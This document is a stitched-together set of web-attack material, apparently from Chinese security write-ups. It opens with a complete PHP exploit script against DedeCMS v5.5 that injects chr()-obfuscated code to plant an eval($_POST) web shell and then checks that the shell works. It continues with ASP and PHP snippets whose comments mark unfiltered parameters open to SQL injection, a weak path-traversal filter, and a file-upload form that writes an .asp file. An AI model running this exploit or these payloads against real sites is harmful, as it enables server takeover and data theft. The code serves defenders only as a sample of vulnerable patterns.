<?php
print_r('
+----------------------------------------+
dedecms v5.5 final getwebshell exploit
+----------------------------------------+
');
if ($argc < 3) {
print_r('
+----------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to dedecms
Example:
php '.$argv[0].' localhost /dedecms/
+----------------------------------------+   
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
 
$host = $argv[1];
$path = $argv[2];
 
$post_a = 'plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(120).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*';
$post_b = 'needCode=aa/../../../data/mysql_error_trace';
$shell = 'data/cache/t.php';
 
get_send($post_a);
post_send('plus/comments_frame.php',$post_b);
$content = post_send($shell,'t=echo tojen;');
 
if(substr($content,9,3)=='200'){
    echo "\nShell Address is:".$host.$path.$shell;
}else{
    echo "\nError.";
}
function get_send($url){
    global $host, $path;
    $message = "GET ".$path."$url  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: http://$host$path\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: $host\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $fp = fsockopen($host, 80);
    if(!$fp){
        echo "\nConnect to host Error";
    }
    fputs($fp, $message);
 
    $back = '';
 
    while (!feof($fp))
        $back .= fread($fp, 1024);
    fclose($fp);
    return $back;
 
}
function post_send($url,$cmd){
 
    global $host, $path;
    $message = "POST ".$path."$url  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: http://$host$path\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: $host\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;
    $fp = fsockopen($host, 80);
    if(!$fp){
        echo "\nConnect to host Error";
    }
    fputs($fp, $message);
 
    $back = '';
 
    while (!feof($fp))
        $back .= fread($fp, 1024);
    fclose($fp);
    return $back;
}
?>

<!--#include file="../p_inc/config.asp"-->
<!--#include file="../p_inc/function.asp"-->
<!--#include file="../p_inc/function_func.asp"-->
<!--#include file="../p_inc/openconn.asp"-->
<!--#include file="../p_inc/G_function.asp"-->
<%
IF Not ChkPost() Then
	response.Redirect G_error_page_1
	response.End()
End IF
'这里调用了/p_inc/function.asp文件中ChkPost()函数检测来源网址
Function G_hitss(url,numb)
	Dim str
	str=""
	sql="select top "&numb&" id,m_name,m_pic,m_hits,m_content from qingtiandy_movie where m_look=1   order by  m_hits desc,id desc"
            '看到了没numb没有过滤
	Set rs=server.CreateObject(G_RS)
	rs.open sql,conn,1,1
	i=1
	Do While Not rs.Eof 
		d_url=url_(Array("d",rs(0),url))
		str=str&"<div class=kkk1_list><a class=bbb href="&d_url&" title='主演："&rs(2)&"'>"&Get_length(rs(1),"",32)&"</a> ("&rs(3)&")</div>"
		i=i+1
		rs.movenext
	Loop
	G_hitss=str
End Function
%>
document.write("<%=G_hitss(request("url"),request("numb"))%>")
'这里的numb也没有过滤

< ?php
......
if(!isset($action)) $action = ''; //检测变量$action是否存在，不存则则给初使值
if(!isset($catid)) $catid = 0; //检测变量$catid是否存在，不存则则给初使值
if(!isset($keyword)) $keyword = ""; //检测变量$keyword是否存在，不存则则给初使值
if(!isset($orderby)) $orderby = 0; //检测变量$orderby是否存在，不存则则给初使值
......
if($catid!=0) $addquery .= " And (b.bcatid='$catid' Or b.catid='$catid') "; 
//变量$catid不为0时，就直接把$catid给$addquery了，没有验证
if($keyword!="") $addquery .= " And (b.bookname like '%$keyword%' Or b.author like '%$keyword%') ";
//变量$keyword不为空时，就直接把$keyword给$addquery了，没有验证
$query = "
   Select b.id,b.catid,b.bookname,b.booktype,b.litpic,b.postnum,b.senddate,b.ischeck, c.id as cid,c.classname From #@__story_books b
   left join #@__story_catalog c on c.id = b.catid where memberid={$cfg_ml->M_ID} and b.id>0 $addquery $orderby
";
//生成了语句
......
?>

< ?php 
require_once(dirname(__FILE__)."/config.php");//这里面检测了是否已登入
 
if(empty($activepath)) $activepath = "";
 
$activepath = str_replace("..","",$activepath); //过滤了..但没过滤.
$activepath = ereg_replace("^/{1,}","/",$activepath);
if(strlen($activepath)<strlen($cfg_soft_dir)){ 
	$activepath = $cfg_soft_dir;
}
//如果得到的路径值长度小于设置中的$cfg_soft_dir值的长度那么把$activepath等于$cfg_soft_dir，系统默认为/uploads/soft
//注意看这里，如果这个值大于$cfg_soft_dir值的长度的时候就会跳过去了，$cfg_soft_dir存在于include/config_base.php
 
$inpath = $cfg_basedir.$activepath; 
$activeurl = "..".$activepath;
if(empty($f)) $f="form1.enclosure";
 
if(empty($comeback)) $comeback = "";
 
?>

$comment_author_url = str_replace(chr(39),”,$comment_author_url);
$comment_author_url = str_replace(chr(59),”,$comment_author_url);
$comment_author_url = str_replace(chr(44),”,$comment_author_url);

<form name="FileForm" method="post" enctype="multipart/form-data" action="http://www.bbb.com/User/Commpages/UpFileSave.asp?Path=/userfiles/06150583700/aaa.asp">
    <input type="hidden" name="AutoReName" value="2"><br>
    <input type="hidden" name="Path" value="/userfiles/06150583700/aaa.asp">
    <input type="file" size="20" name="File1">
    <input type="hidden" name="FilesNum" value="1">
    <input type="submit" id="BtnSubmit" name="Submit" value=" 确 定 ">
    <input type="reset" id="ResetForm" name="Submit3" value=" 重 填 ">
</form>